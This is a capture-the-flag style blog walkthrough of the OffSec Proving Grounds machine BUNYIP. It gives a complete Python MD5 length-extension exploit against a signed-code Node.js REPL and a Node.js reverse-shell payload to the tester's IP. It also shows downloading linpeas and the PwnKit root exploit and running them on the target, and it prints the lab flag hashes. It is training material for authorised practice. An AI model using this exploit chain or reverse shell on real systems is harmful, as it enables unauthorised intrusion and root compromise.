Skip to main content
  1. Posts/

OFFSEC - Proving Grounds - BUNYIP

·3095 words·15 mins·
OFFSEC PG PRACTICE PWNKIT
Table of Contents

Summary
#

On port 8000 there is a s3cur3 r3pl web application that is vulnerable for an MD5 length extension attack. Abusing the vulnerability allows initial access as the arnold user. Once on the target we see it’s vulnerable for pwnkit (CVE-2021-4034). Running this exploit escalates our privileges to the root user.

Specifications
#

  • Name: BUNYIP
  • Platform: PG PRACTICE
  • Points: 25
  • Difficulty: Hard
  • System overview: Linux bunyip 5.4.0-65-generic #73-Ubuntu SMP Mon Jan 18 17:25:17 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
  • IP address: 192.168.105.153
  • OFFSEC provided credentials: None
  • HASH: local.txt:e2e99964ce3674cfc275c13d39c4eef1
  • HASH: proof.txt:0c3807c22d54b2a750a8959c92b0b96f

Preparation
#

First we’ll create a directory structure for our files, set the IP address to a bash variable and ping the target:

## create directory structure
mkdir bunyip && cd bunyip && mkdir enum files exploits uploads tools

## list directory
ls -la

total 28
drwxrwxr-x  7 kali kali 4096 Sep 20 13:07 .
drwxrwxr-x 73 kali kali 4096 Sep 20 13:07 ..
drwxrwxr-x  2 kali kali 4096 Sep 20 13:07 enum
drwxrwxr-x  2 kali kali 4096 Sep 20 13:07 exploits
drwxrwxr-x  2 kali kali 4096 Sep 20 13:07 files
drwxrwxr-x  2 kali kali 4096 Sep 20 13:07 tools
drwxrwxr-x  2 kali kali 4096 Sep 20 13:07 uploads

## set bash variable
ip=192.168.105.153

## ping target to check if it's online
ping $ip

PING 192.168.105.153 (192.168.105.153) 56(84) bytes of data.
64 bytes from 192.168.105.153: icmp_seq=1 ttl=61 time=23.5 ms
64 bytes from 192.168.105.153: icmp_seq=2 ttl=61 time=24.8 ms
^C
--- 192.168.105.153 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1003ms
rtt min/avg/max/mdev = 23.473/24.122/24.771/0.649 ms

Reconnaissance
#

Portscanning
#

Using Rustscan we can see what TCP ports are open. This tool is part of my default portscan flow.

## run the rustscan tool
sudo rustscan -a $ip | tee enum/rustscan

.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
Breaking and entering... into the world of open ports.

[~] The config file is expected to be at "/root/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. 
Open 192.168.105.153:22
Open 192.168.105.153:80
Open 192.168.105.153:3306
Open 192.168.105.153:8000
[~] Starting Script(s)
[~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-20 13:11 CEST
Initiating Ping Scan at 13:11
Scanning 192.168.105.153 [4 ports]
Completed Ping Scan at 13:11, 0.06s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 13:11
Completed Parallel DNS resolution of 1 host. at 13:11, 0.01s elapsed
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 13:11
Scanning 192.168.105.153 [4 ports]
Discovered open port 80/tcp on 192.168.105.153
Discovered open port 3306/tcp on 192.168.105.153
Discovered open port 22/tcp on 192.168.105.153
Discovered open port 8000/tcp on 192.168.105.153
Completed SYN Stealth Scan at 13:11, 0.05s elapsed (4 total ports)
Nmap scan report for 192.168.105.153
Host is up, received echo-reply ttl 61 (0.022s latency).
Scanned at 2025-09-20 13:11:21 CEST for 0s

PORT     STATE SERVICE  REASON
22/tcp   open  ssh      syn-ack ttl 61
80/tcp   open  http     syn-ack ttl 61
3306/tcp open  mysql    syn-ack ttl 61
8000/tcp open  http-alt syn-ack ttl 61

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.26 seconds
           Raw packets sent: 8 (328B) | Rcvd: 5 (204B)

Copy the output of open ports into a file called ports within the files directory.

## edit the ``files/ports` file
nano files/ports

## content `ports` file:
22/tcp   open  ssh      syn-ack ttl 61
80/tcp   open  http     syn-ack ttl 61
3306/tcp open  mysql    syn-ack ttl 61
8000/tcp open  http-alt syn-ack ttl 61

Run the following command to get a string of all open ports and use the output of this command to paste within NMAP:

## get a list, comma separated of the open port(s)
cd files && cat ports | cut -d '/' -f1 > ports.txt && awk '{printf "%s,",$0;n++}' ports.txt | sed 's/.$//' > ports && rm ports.txt && cat ports && cd ..

## output previous command
22,80,3306,8000

## use this output in the `nmap` command below:
sudo nmap -T3 -p 22,80,3306,8000 -sCV -vv $ip -oN enum/nmap-services-tcp

Output of NMAP:

PORT     STATE SERVICE REASON         VERSION
22/tcp   open  ssh     syn-ack ttl 61 OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 05:84:62:ba:f7:66:23:ba:79:09:25:46:1f:a3:3d:1d (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDnvr+kfNA4cT1aHmw18eHXIMZ6p3TSIqSPbPuNnQgZndqPmtnatEKRexTgWb3Lg3o5VzojkYB7G/gE+OZI0LgiBSlP9odrUigR+w6j9qXOelig4YHPkkx/iY3y9nqAPJHWSGniT++dxClyLDHEJp4uTxr+gS22uAt1OYFOvJnLcDNXrU0Px2tsDiQ/vn7bDMpLIPbM0KOyUt5JueZyWqNCg+1MbCfFnZB40oQa5kK9r2eXU437mNSkbOZcUGmdjqUM1ujzuZBR8uCG8EzhWynjvJ3DmrS0EkrTujGrx14XkZ/kI6iKiiFy7lyLk3prWxIv6kXsYdhBMeqJ2dcXX0xw1fVKE8JM/6g2gclwBBtyyE+6ZxefRpQ8TcfQcGmTdlUeqUs9N6CxoDHRvSHPgIpUzSEkbD0MBWYT4yVWNXpNeIr2+e1ZKdwd3QjwUZy5O9Obyl3IoBrSObnMg/0KzJ1dEqT/L0UJA9bCxCnDV86rPKBthsnlNg2SJo9l2fOxzrU=
|   256 d2:86:47:43:7d:10:1a:6f:3b:18:0e:04:37:11:51:96 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBIuqZer1Jf9sRfz5frlN0sdb2FDiL7Yll6bma4qq+fAl9Ce5I+m4NlOeBC4TqKJiKMjeZMPuNzHCW7pM/JlsD0U=
|   256 1d:b1:5f:b4:87:50:76:10:db:61:71:52:1b:7e:af:6f (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAcNix8zuAOsFIws6SN6v5pu3gx96SZBraOLo26sSXxv
80/tcp   open  http    syn-ack ttl 61 nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-generator: Docusaurus
|_http-title: Test Site \xC2\xB7 A website for testing
| http-methods: 
|_  Supported Methods: GET HEAD
|_http-favicon: Unknown favicon MD5: 338ABBB5EA8D80B9869555ECA253D49D
3306/tcp open  mysql   syn-ack ttl 61 MySQL (unauthorized)
8000/tcp open  http    syn-ack ttl 61 Node.js (Express middleware)
|_http-favicon: Unknown favicon MD5: D41D8CD98F00B204E9800998ECF8427E
|_http-title: s3cur3 r3pl
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Initial Access
#

8000/tcp open  http    syn-ack ttl 61 Node.js (Express middleware)
|_http-favicon: Unknown favicon MD5: D41D8CD98F00B204E9800998ECF8427E
|_http-title: s3cur3 r3pl
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS

On port 8000 there is a s3cur3 r3pl web application, which is a Node.js application that lets users run code on the server if the code has a valid signature. A “Hello World” code block comes with a correct signature, but changing the code causes a “Signature Mismatch” error, stopping it from running. This suggests the application might be open to an MD5 length extension attack. In this attack, someone can use the hash of a message to calculate the hash of that message plus extra data, without needing the original secret key.

Using this script (https://github.com/cbornstein/python-length-extension/blob/master/pymd5.py#L69) added with extr code and the request/base64 library, we can test for the MD5 length extension attack. Save the Python script below to exploit.py.

#!/usr/bin/python

import requests
import base64
import string
import struct

target = '192.168.105.153:8000'
code = b"""function hello(name) {
  return 'Hello ' + name + '!';
}

hello('World'); // should print 'Hello World'"""
extra = """
hello('OffSec');
""".encode('utf-8')

def _encode(input, len):
    k = len >> 2
    res = struct.pack(*("%iI" % k,) + tuple(input[:k]))
    return res

def _decode(input, len):
    k = len >> 2
    res = struct.unpack("%iI" % k, input[:len])
    return list(res)

# Constants for compression function.
S11 = 7
S12 = 12
S13 = 17
S14 = 22
S21 = 5
S22 = 9
S23 = 14
S24 = 20
S31 = 4
S32 = 11
S33 = 16
S34 = 23
S41 = 6
S42 = 10
S43 = 15
S44 = 21
PADDING = b"\x80" + 63*b"\0"

# F, G, H and I: basic MD5 functions.
def F(x, y, z): return (((x) & (y)) | ((~x) & (z)))
def G(x, y, z): return (((x) & (z)) | ((y) & (~z)))
def H(x, y, z): return ((x) ^ (y) ^ (z))
def I(x, y, z): return((y) ^ ((x) | (~z)))
def ROTATE_LEFT(x, n):
    x = x & 0xffffffff   # make shift unsigned
    return (((x) << (n)) | ((x) >> (32-(n)))) & 0xffffffff

# FF, GG, HH, and II transformations for rounds 1, 2, 3, and 4.
# Rotation is separate from addition to prevent recomputation.
def FF(a, b, c, d, x, s, ac):
    a = a + F ((b), (c), (d)) + (x) + (ac)
    a = ROTATE_LEFT ((a), (s))
    a = a + b
    return a # must assign this to a
def GG(a, b, c, d, x, s, ac):
    a = a + G ((b), (c), (d)) + (x) + (ac)
    a = ROTATE_LEFT ((a), (s))
    a = a + b
    return a # must assign this to a
def HH(a, b, c, d, x, s, ac):
    a = a + H ((b), (c), (d)) + (x) + (ac)
    a = ROTATE_LEFT ((a), (s))
    a = a + b
    return a # must assign this to a
def II(a, b, c, d, x, s, ac):
    a = a + I ((b), (c), (d)) + (x) + (ac)
    a = ROTATE_LEFT ((a), (s))
    a = a + b
    return a # must assign this to a

class md5(object):
    digest_size = 16  # size of the resulting hash in bytes
    block_size  = 64  # hash algorithm's internal block size

    def __init__(self, string='', state=None, count=0):
        self.count = 0
        self.buffer = b""

        if state is None:
            # initial state defined by standard
            self.state = (0x67452301,
                          0xefcdab89,
                          0x98badcfe,
                          0x10325476,)            
        else:
            self.state = _decode(state, md5.digest_size)
        if count is not None:
            self.count = count
        if string:
            self.update(string)

    def update(self, input):
        inputLen = len(input)
        index = int(self.count >> 3) & 0x3F
        self.count = self.count + (inputLen << 3) # update number of bits
        partLen = md5.block_size - index

        # apply compression function to as many blocks as we have
        if inputLen >= partLen:
            self.buffer = self.buffer[:index] + input[:partLen]
            self.state = md5_compress(self.state, self.buffer)
            i = partLen
            while i + 63 < inputLen:
                self.state = md5_compress(self.state, input[i:i+md5.block_size])
                i = i + md5.block_size
            index = 0
        else:
            i = 0

        # buffer remaining output
        self.buffer = self.buffer[:index] + input[i:inputLen]

    def digest(self):
        _buffer, _count, _state = self.buffer, self.count, self.state
        self.update(padding(self.count))
        result = self.state
        self.buffer, self.count, self.state = _buffer, _count, _state
        return _encode(result, md5.digest_size)

    def hexdigest(self):
        return self.digest().hex()

def padding(msg_bits):
    index = int((msg_bits >> 3) & 0x3f)
    if index < 56:
        padLen = (56 - index)
    else:
        padLen = (120 - index)

    # (the last 8 bytes store the number of bits in the message)
    return PADDING[:padLen] + _encode((msg_bits & 0xffffffff, msg_bits>>32), 8)
    
def md5_compress(state, block):
    a, b, c, d = state
    x = _decode(block, md5.block_size)

    #  Round
    a = FF (a, b, c, d, x[ 0], S11, 0xd76aa478) # 1
    d = FF (d, a, b, c, x[ 1], S12, 0xe8c7b756) # 2
    c = FF (c, d, a, b, x[ 2], S13, 0x242070db) # 3
    b = FF (b, c, d, a, x[ 3], S14, 0xc1bdceee) # 4
    a = FF (a, b, c, d, x[ 4], S11, 0xf57c0faf) # 5
    d = FF (d, a, b, c, x[ 5], S12, 0x4787c62a) # 6
    c = FF (c, d, a, b, x[ 6], S13, 0xa8304613) # 7
    b = FF (b, c, d, a, x[ 7], S14, 0xfd469501) # 8
    a = FF (a, b, c, d, x[ 8], S11, 0x698098d8) # 9
    d = FF (d, a, b, c, x[ 9], S12, 0x8b44f7af) # 10
    c = FF (c, d, a, b, x[10], S13, 0xffff5bb1) # 11
    b = FF (b, c, d, a, x[11], S14, 0x895cd7be) # 12
    a = FF (a, b, c, d, x[12], S11, 0x6b901122) # 13
    d = FF (d, a, b, c, x[13], S12, 0xfd987193) # 14
    c = FF (c, d, a, b, x[14], S13, 0xa679438e) # 15
    b = FF (b, c, d, a, x[15], S14, 0x49b40821) # 16

    # Round 2
    a = GG (a, b, c, d, x[ 1], S21, 0xf61e2562) # 17
    d = GG (d, a, b, c, x[ 6], S22, 0xc040b340) # 18
    c = GG (c, d, a, b, x[11], S23, 0x265e5a51) # 19
    b = GG (b, c, d, a, x[ 0], S24, 0xe9b6c7aa) # 20
    a = GG (a, b, c, d, x[ 5], S21, 0xd62f105d) # 21
    d = GG (d, a, b, c, x[10], S22,  0x2441453) # 22
    c = GG (c, d, a, b, x[15], S23, 0xd8a1e681) # 23
    b = GG (b, c, d, a, x[ 4], S24, 0xe7d3fbc8) # 24
    a = GG (a, b, c, d, x[ 9], S21, 0x21e1cde6) # 25
    d = GG (d, a, b, c, x[14], S22, 0xc33707d6) # 26
    c = GG (c, d, a, b, x[ 3], S23, 0xf4d50d87) # 27
    b = GG (b, c, d, a, x[ 8], S24, 0x455a14ed) # 28
    a = GG (a, b, c, d, x[13], S21, 0xa9e3e905) # 29
    d = GG (d, a, b, c, x[ 2], S22, 0xfcefa3f8) # 30
    c = GG (c, d, a, b, x[ 7], S23, 0x676f02d9) # 31
    b = GG (b, c, d, a, x[12], S24, 0x8d2a4c8a) # 32

    # Round 3
    a = HH (a, b, c, d, x[ 5], S31, 0xfffa3942) # 33
    d = HH (d, a, b, c, x[ 8], S32, 0x8771f681) # 34
    c = HH (c, d, a, b, x[11], S33, 0x6d9d6122) # 35
    b = HH (b, c, d, a, x[14], S34, 0xfde5380c) # 36
    a = HH (a, b, c, d, x[ 1], S31, 0xa4beea44) # 37
    d = HH (d, a, b, c, x[ 4], S32, 0x4bdecfa9) # 38
    c = HH (c, d, a, b, x[ 7], S33, 0xf6bb4b60) # 39
    b = HH (b, c, d, a, x[10], S34, 0xbebfbc70) # 40
    a = HH (a, b, c, d, x[13], S31, 0x289b7ec6) # 41
    d = HH (d, a, b, c, x[ 0], S32, 0xeaa127fa) # 42
    c = HH (c, d, a, b, x[ 3], S33, 0xd4ef3085) # 43
    b = HH (b, c, d, a, x[ 6], S34,  0x4881d05) # 44
    a = HH (a, b, c, d, x[ 9], S31, 0xd9d4d039) # 45
    d = HH (d, a, b, c, x[12], S32, 0xe6db99e5) # 46
    c = HH (c, d, a, b, x[15], S33, 0x1fa27cf8) # 47
    b = HH (b, c, d, a, x[ 2], S34, 0xc4ac5665) # 48

    # Round 4
    a = II (a, b, c, d, x[ 0], S41, 0xf4292244) # 49
    d = II (d, a, b, c, x[ 7], S42, 0x432aff97) # 50
    c = II (c, d, a, b, x[14], S43, 0xab9423a7) # 51
    b = II (b, c, d, a, x[ 5], S44, 0xfc93a039) # 52
    a = II (a, b, c, d, x[12], S41, 0x655b59c3) # 53
    d = II (d, a, b, c, x[ 3], S42, 0x8f0ccc92) # 54
    c = II (c, d, a, b, x[10], S43, 0xffeff47d) # 55
    b = II (b, c, d, a, x[ 1], S44, 0x85845dd1) # 56
    a = II (a, b, c, d, x[ 8], S41, 0x6fa87e4f) # 57
    d = II (d, a, b, c, x[15], S42, 0xfe2ce6e0) # 58
    c = II (c, d, a, b, x[ 6], S43, 0xa3014314) # 59
    b = II (b, c, d, a, x[13], S44, 0x4e0811a1) # 60
    a = II (a, b, c, d, x[ 4], S41, 0xf7537e82) # 61
    d = II (d, a, b, c, x[11], S42, 0xbd3af235) # 62
    c = II (c, d, a, b, x[ 2], S43, 0x2ad7d2bb) # 63
    b = II (b, c, d, a, x[ 9], S44, 0xeb86d391) # 64

    return (0xffffffff & (state[0] + a),
            0xffffffff & (state[1] + b),
            0xffffffff & (state[2] + c),
            0xffffffff & (state[3] + d),)

extended_code = code + padding((len('xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx') + len('|') + len(code))*8) + extra
sig = 'aaa8111b4871b48dc6c0ac4c33ef9e1b'

extended_hash = md5(state=bytes.fromhex(sig), count=1536)
extended_hash.update(extra)
extended_sig = extended_hash.hexdigest()

r = requests.post('http://{}'.format(target), json={
    'code': base64.b64encode(extended_code).decode('utf-8'),
    'sig': extended_sig
})
print('Status code: {}'.format(r.status_code))
print('Response: {}'.format(r.text))

Running the Python script should give us not Hello World, but Hello OffSec!. And indeed ,it does.

python3 exploit.py 
Status code: 200
Response: {"result":"Hello OffSec!"}

Now change the extra part of the exploit and get a reverse shell. First we need to get our local IP address on tun0.

## get the local IP address on tun0
ip a s tun0 | grep "inet " | awk '{print $2}' | sed 's/\/.*//g'
192.168.45.189

Change the exploit.py with the code below.

extra = """
(function() {
    var net = require('net'),
        cp = require('child_process'),
        sh = cp.spawn('/bin/sh', []);
    var client = new net.Socket();
    client.connect(9001, '192.168.45.189', function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/; // Prevents the Node.js application form crashing
})()
""".encode('utf-8')

Once saved, let’s run it to get a reverse shell as the arnold user in the /opt/secure-repl directory.

## setup a listener
nc -lvnp 9001
listening on [any] 9001 ...

## run the `exploit.py` script
python3 exploit.py
Status code: 200
Response: {"result":{}}

## catch the reverse shell
nc -lvnp 80  
listening on [any] 80 ...
connect to [192.168.45.189] from (UNKNOWN) [192.168.105.153] 44414

## print current user
whoami
arnold

## print curernt working directory
pwd
/opt/secure-repl

## find `local.txt` on the filesystem
find / -iname 'local.txt' 2>/dev/null
/home/arnold/local.txt

## print `local.txt`
cat /home/arnold/local.txt
e2e99964ce3674cfc275c13d39c4eef1

Privilege Escalation
#

To get a proper TTY we upgrade our shell using the script binary.

## determine location script binary
which script
/usr/bin/script

## start the script binary, after that press CTRL+Z
/usr/bin/script -qc /bin/bash /dev/null

## after this command press the `enter` key twice
stty raw -echo ; fg ; reset

## run the following to be able to clear the screen and set the terrminal correct
arnold@bunyip:/opt/secure-repl$ export TERM=xterm && stty columns 200 rows 200

Now, upload linpeas.sh to the target and run it.

## change directory locally
cd uploads

## download latest version of linpeas.sh
wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh

## get local IP address on tun0
ip a s tun0 | grep "inet " | awk '{print $2}' | sed 's/\/.*//g'
192.168.45.189

## start local webserver
python3 -m http.server 80

## on target
## change directory
arnold@bunyip:/opt/secure-repl$ cd /var/tmp
arnold@bunyip:/var/tmp$ 

## download `linpeas.sh`
arnold@bunyip:/var/tmp$ wget http://192.168.45.189/linpeas.sh
--2025-09-20 15:19:35--  http://192.168.45.189/linpeas.sh
Connecting to 192.168.45.189:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 961834 (939K) [text/x-sh]
Saving to: ‘linpeas.sh’

linpeas.sh                                          0%[                                                                                          linpeas.sh                                         94%[==========================================================================================linpeas.sh                                        100%[=============================================================================================================>] 939.29K  4.49MB/s    in 0.2s    

2025-09-20 15:19:35 (4.49 MB/s) - ‘linpeas.sh’ saved [961834/961834]

## set the execution bit
arnold@bunyip:/var/tmp$ chmod +x linpeas.sh 

## run `linpeas.sh`
arnold@bunyip:/var/tmp$ ./linpeas.sh 

The linpeas.sh output shows the target is vulnerable for pwnkit (CVE-2021-4034). Now, let’s download the exploit (https://github.com/ly4k/PwnKit), upload to the target and run it to escalate our privileges to the root user.

## change directory
cd uploads

## download the exploit
curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit -o pwnkit

## get the local IP address on tun0
ip a s tun0 | grep "inet " | awk '{print $2}' | sed 's/\/.*//g'
192.168.45.189

## start webserver on port 10000
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

## on target
## download `pwnkit`
arnold@bunyip:/var/tmp$ wget http://192.168.45.189/pwnkit
--2025-09-20 15:40:21--  http://192.168.45.189/pwnkit
Connecting to 192.168.45.189:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 18040 (18K) [application/octet-stream]
Saving to: ‘pwnkit.1’

pwnkit.1                                            0%[                                                                                          pwnkit.1                                          100%[=============================================================================================================>]  17.62K  --.-KB/s    in 0.02s   

2025-09-20 15:40:21 (789 KB/s) - ‘pwnkit.1’ saved [18040/18040]

## set execution bit on `pwnkit`
arnold@bunyip:/var/tmp$ chmod +x pwnkit

## execute `pwnkit`
arnold@bunyip:/var/tmp$ ./pwnkit 
root@bunyip:/var/tmp# 

## print `proof.txt`
root@bunyip:/var/tmp# cat /root/proof.txt
0c3807c22d54b2a750a8959c92b0b96f

References
#

[+] https://github.com/cbornstein/python-length-extension/blob/master/pymd5.py#L69
[+] https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh
[+] https://github.com/ly4k/PwnKit

Related

OFFSEC - Proving Grounds - SPAGHETTI
·2624 words·13 mins
OFFSEC PG PRACTICE IRC PYBOT PWNKIT
IRC server on port 6667, message to bot gives access to source code. Analyzing code gives code exeecution and initial access. Pwnkit exploit used to escalate to root.
OFFSEC - Proving Grounds - PEPPO
·1634 words·8 mins
OFFSEC PG PRACTICE IDENT-USER-ENUM RBASH ED PWNKIT
Ident on port 113 reveals process owner eleanor on port 10000. SSH access via weak credentials to get initial access in rbash, escape rbash using ed, set PATH and exploit pwnkit (CVE-2021-4034) to gain root.
OFFSEC - Proving Grounds - PHOBOS
·2992 words·15 mins
OFFSEC PG PRACTICE GOBUSTER SVN BURP PWNKIT MONGODB PYMONGO
Find svn directory on port 80, enumerate logs for hostname. Register user and exploit code for LFI/RCE and initial access, use pwnkit (CVE-2021-4034) or crack root SHA-512 from MongoDB to escalate to root.
OFFSEC - Proving Grounds - BLACKGATE
·1478 words·7 mins
OSCP OFFSEC PG PRACTICE REDIS PWNKIT
Redis 4.0.14 on port 6379 exploited for initial access. linpeas.sh reveals pwnkit vulnerability (CVE-2021-4034) which leads to privilege escalation.
OFFSEC - Proving Grounds - WALLA
·1817 words·9 mins
OFFSEC PG PRACTICE WFUZZ PWNKIT
WFUZZ login credentials on port 8091, exploited RaspAP 2.5, CVE-2020-24572, then gained root via PwnKit.
OFFSEC - Proving Grounds - EXFILTRATED
·2598 words·13 mins
OSCP OFFSEC PG PRACTICE SUBRION CMS PWNKIT EXIFTOOL
SSH or Subrion CMS 4.2.1 file upload for access. Run linpeas to find CVE-2021-4034 (PwnKit) & cronjob with exiftool (CVE-2021-22204) for root.